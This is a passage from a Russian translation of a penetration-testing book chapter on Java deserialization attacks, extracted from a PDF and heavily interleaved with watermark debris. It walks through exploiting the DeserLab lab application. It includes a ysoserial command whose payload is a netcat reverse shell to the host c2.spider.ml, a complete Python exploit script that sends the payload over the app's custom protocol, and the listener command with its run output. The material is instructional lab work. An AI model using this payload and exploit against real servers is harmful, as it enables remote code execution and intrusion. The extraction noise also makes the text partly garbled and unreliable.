Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атака на пользовательские протоколы 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

Эксплойт для осуществления атаки

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

199 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Атаки, связанные с десериализацией Java-объектов, возможны, потому что Java будет выполнять множество методов в стремлении десериализовать объект. Если мы контролируем то, на какие свойства ссылаются эти методы, то можем контролировать поток выполнения приложения. Это POP и атака, связанная с повторным использованием кода, похожая на возвратно-ориенти-

рованное программирование(ВОП),return-orientedprogramming(ROP).ROP

используется при разработке эксплойтов для выполнения кода путем ссылки на существующие байты в памяти и использования побочного эффекта ин-

струкции x86 return.

Если передадим сериализованный объект с правильными свойствами, то сможем создать цепочку выполнения, которая в конечном итоге приведет к выполнению кода на сервере приложений. Звучит как трудновыполнимая задача для разработчика, не работающего с Java. В конце концов, вы должны быть знакомы с внутренней работой различных библиотек, предоставляемых Java или сторонними разработчиками. К счастью, для такой тяжелой работы предназначен отличный инструмент: ysoserial.

ysoserial разработан Крисом Фрохоффом (Chris Frohoff), чтобы облегчить создание сериализованных объектов и использовать их для атаки на приложения.Он может создавать полезные нагрузки для выполнения кода (цепочки POP) для многих сторонних библиотек, часто используемых приложениями

Java:

Spring;

Groovy;

Commons Collections;Jython

и т.д.

Исходный код ysoserial и JAR-файлы можно загрузить отсюда: https://github.com/frohoff/ysoserial.

Мы знаем, что приложение, выбранное в качестве объекта атаки, использует библиотеку Groovy, потому что у нас есть доступ к JAR-файлу и исходному коду.Однако это не всегдатак,когда речьидето корпоративных приложениях, и у нас не всегда может быть доступ к исходному коду во время тестирования. Если уязвимое приложение работает на стороне сервера и наше единственное взаимодействие с ним происходит через GET-запрос по HTTP-протоколу, нам нужно полагаться на отдельную уязвимость, приводящую к утечке информации,чтобы узнать,какую библиотеку следует настроитьдля генерации цепочки гаджетов. Конечно, в качестве альтернативы можно просто попробовать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 200  Глава 8.Вредоносная сериализация

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

каждую известную цепочку гаджетов,пока одна из них не даст положительно-

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

го результата. Это не очень элегантно и очень шумно, но эффективно.

Для этого конкретного приложения ysoserial может быстро сгенерировать сериализованный объект с соответствующими гаджетами для выполнения кода в приложениях, реализующих библиотеку Groovy.

java -jar ysoserial.jar [payload_name]

"[shell command to execute]"

В нашем случае полезной нагрузкой будет Groovy1,а команда для выполне- ния–реверснаяоболочкаnetcat,ведущаяобратнонанашкомандно-контроль- ный сервер, c2.spider.ml, как показано ниже.

root@kali:~/tools# java -jar ysoserial.jar Groovy1 "nc -v c2.spider.ml 443 -e /bin/bash" > deserlab_payload.bin

По умолчанию байты выводятся на консоль, поэтому мы должны перенаправитьих в файл deserlab_payload.bin для использования в своем эксплойте. Шестнадцатеричный дамп сгенерированной полезной нагрузки показывает четыре знакомых магических байта сериализации и последовательность версий,за которыми следуют флаги 0x73 0x72,дополнительно описывающие, какиеданные были сериализованы.Можно увидетьшестнадцатеричныйдамп файла полезной нагрузки, используя команду xxd, как показано ниже.

Мыдаем усеченный вариантвывода,потому чтодля создания гаджета,приводящего к выполнению кода, ysoserial создает довольно большой сериализованный объект. Сама по себе эта полезная нагрузка недостаточна для атаки на DeserLab. Нельзя просто подключиться к серверу, отправить байты полезной нагрузки и создать оболочку.Пользовательский протокол,реализованный DeserLab, ожидает, что перед приведением полезной нагрузки будет отправлено несколько дополнительных байтов. Во время нашей записи тестового пакета, как вы помните, перед хешированием клиент и сервис обмениваются приветствиями. Если проверим содержимое пакета, то сможем определить, в какой точке потока обмена данными можно внедрить нашу полезную нагрузку.Мы знаем,что сервер ожидает сериализованный объект HashRequest после отправки строки name.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атака на пользовательские протоколы  201 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Строкисотступом–этопакеты,полученныеотсервера,авсеостальное–это

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

то,что мы отправили нашему клиенту.

И снова мы видим магические байты,запускающие поток,за которыми следуют пакеты приветствия протокола: 0xF0 0x00 0xBA 0xAA и,наконец,версия протокола 0x01 0x01. Каждому пакету, отправляемому сервером или клиентом, будет предшествовать 0x77, указывающий, что поступает блок данных, и длину этого блока (0x02 в случае версии протокола).

Необязательнопониматьзначениекаждогобайта,потомуотчетливовидно, где начинается сериализованная полезная нагрузка. Байты 0x73 и 0x72 (которые эквивалентны строчным буквам s и r соответственно) обозначают начало сериализованного объекта, как показано в этом выводе.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 202  Глава 8.Вредоносная сериализация

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Чтобы передать пользовательскую полезную нагрузку и эксплуатировать

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

приложение,напишемсценарийнаPython,спомощьюкоторогоподключимся

кприложению DeserLab и осуществим следующие действия.

1.Отправим пакеты с приветствием.

2.Передадим номер версии.

3.Отправим имя клиента: test.

4.Передадим код эксплойта, сгенерированный с помощью ysoserial.

ДлясозданиякодаэксплойтабудемиспользоватьPython,посколькуонупрощает отправку данных по сети. В начале сценария настроим среду и создадим сокетдля атакуемого хоста и порта.

Сначала импортируем библиотеку socket и установим пару переменных, которые описывают нашу цель.

import socket

target_host = 'deserlab.app.internal' target_port = 4321

Мы скоро вернемся к этим переменным. Далее прочитаем файл deserlab_ payload.bin в переменную с именем payload, используя функции open(), read() и, наконец, close(), как показано во фрагменте кода.

# Open the ysoserial generated exploit payload print "[+] Reading payload file..."

f = open('deserlab_payload.bin', 'rb') payload = f.read()

f.close()

Переменная payload теперь содержит необработанные байты, сгенерированные ysoserial, которые будем использовать для эксплуатации атакуемого хоста. Следующим шагом является создание сокета для серверного приложения DeserLab и сохранение полученного объекта socket в переменной с именем target. Мы будем использовать эту переменную для отправки и получения данных из соединения.

target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target.connect((target_host, target_port))

На этом этапе наш сценарий будет эмулировать клиента DeserLab, и для успешного подключения и возможности отправки нашего вредоносного кода необходимо выполнить несколько шагов. Напомним, что клиент отправляет некоторые необходимые байты, в том числе пакет приветствия и версию клиента.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атака на пользовательские протоколы  203 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Будемиспользоватьметодыsend() иrecv() дляотправкиичтенияответов,

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

чтобы обмен данными мог продолжиться. Поскольку некоторые байты находятся за пределами читаемого диапазона ASCII, следует экранировать их, используя их шестнадцатеричный эквивалент. Python дает такую возможность путем использования обратной косой черты (\) и префикса x,который ставится перед шестнадцатеричными байтами. Например, символ A в Python (и других языках) может иметь вид \x41.

После выполнения отправки мы также должны получать любые данные, отправленные с сервера.

Нам не нужно хранить ответ сервера, но мы должны его получить, чтобы очистить буфер и позволить соединению поддерживаться.

Сначала отправим магические байты 0xAC 0xED, затем пакет приветствия и, наконец, ожидаемую версию клиента. В качестве префикса будем использовать байт 0x77, за которым сразу следует длина данных. Например, версия клиента 0x01 0x01 должна иметь префикс 0x77 (указание на пакет данных) и 0x02 (длина пакета данных).

Приведенный ниже код отправит магические байты, пакет приветствия и версию клиента.

#Отправка магических байтов и версии target.send("\xAC\xED\x00\x05") target.recv(1024)

#Отправка пакета 'hello' target.send("\x77\x04") target.send("\xF0\x00\xBA\xAA") target.recv(1024)

#Отправка клиентской версии target.send("\x77\x02") target.send("\x01\x01") target.recv(1024)

Мытакжедолжны отправитьимя клиента,которое можетбытьпроизвольным. Просто нужно убедиться,что префикс 0x77 и длина данных верны.

# Отправка имени клиента: тест target.send("\x77\x06") target.send("\x00\x04\x74\x65\x73\x74")

Наконец,мыдолжныудалитьмагическиебайтыизсамойполезнойнагрузки, поскольку мы уже отправили их. Сервер ожидает объекта без этих данных. Python позволяет удалить первые четыре байта,используя нотацию массива [4:].

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 204  Глава 8.Вредоносная сериализация

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

# Удаляем магические байты 0xAC 0xED из полезной нагрузки

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

payload = payload[4:]

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Последний шаг– отправка полезной нагрузки ysoserial, которая после десериализации, надеемся, выполнит нашу реверсную оболочку.

# Отправка ysoserial жертве print "[+] Sending payload..." target.send(payload) target.recv(1024)

print «[+] Done.»

Финальный сценарий эксплойта exploit_deserlab.py должен выглядеть так:

import socket

target_host = 'deserlab.app.internal' target_port = 4321

# Открытие сгенерированной полезной нагрузки ysoserial print "[+] Reading payload file..."

f = open('deserlab_payload.bin', 'rb') payload = f.read()

f.close()

target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target.connect((target_host, target_port))

# Отправка магических байтов и версии target.send(«\xAC\xED\x00\x05») target.recv(1024)

# Отправка пакета 'hello' target.send(«\x77\x04») target.send("\xF0\x00\xBA\xAA") target.recv(1024)

#Отправка клиентской версии target.send(«\x77\x02») target.send("\x01\x01") target.recv(1024)

#Отправка имени клиента: тест target.send("\x77\x06") target.send("\x00\x04\x74\x65\x73\x74")

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атака на пользовательские протоколы 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

# Удаляем магические байты 0xAC 0xED из полезной нагрузки

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

payload = payload[4:]

# Отправка ysoserial жертве print "[+] Sending payload..." target.send(payload) target.recv(1024)

print "[+] Done."

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

205 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Перед запуском эксплойта мы должны убедиться,что сервер netcat слушает на нашем сервере c2.spider.ml на порту 443. Если все прошло успешно, мы получим доступ к серверу DeserLab.

Можно запуститьсервер netcat на порту 443 с помощью следующей команды:

root@spider-c2-1:~# nc -lvp 443

listening on [any] 443 ...

Все,чтоосталосьсделать,–этозапуститьсценарийPythonнанашеймашине и надеяться на лучшее.

root@kali:~/tools# python exploit_deserlab.py

[+]Reading payload file...

[+]Sending payload...

Done.

root@kali:~/tools#

Если проверим сгенерированный трафик, то увидим инициацию протокола и пакеты тестовой строки, за которыми сразу же следует сериализованный объект, сгенерированный с помощью ysoserial, обозначенный байтами 0x73 0x72 или sr.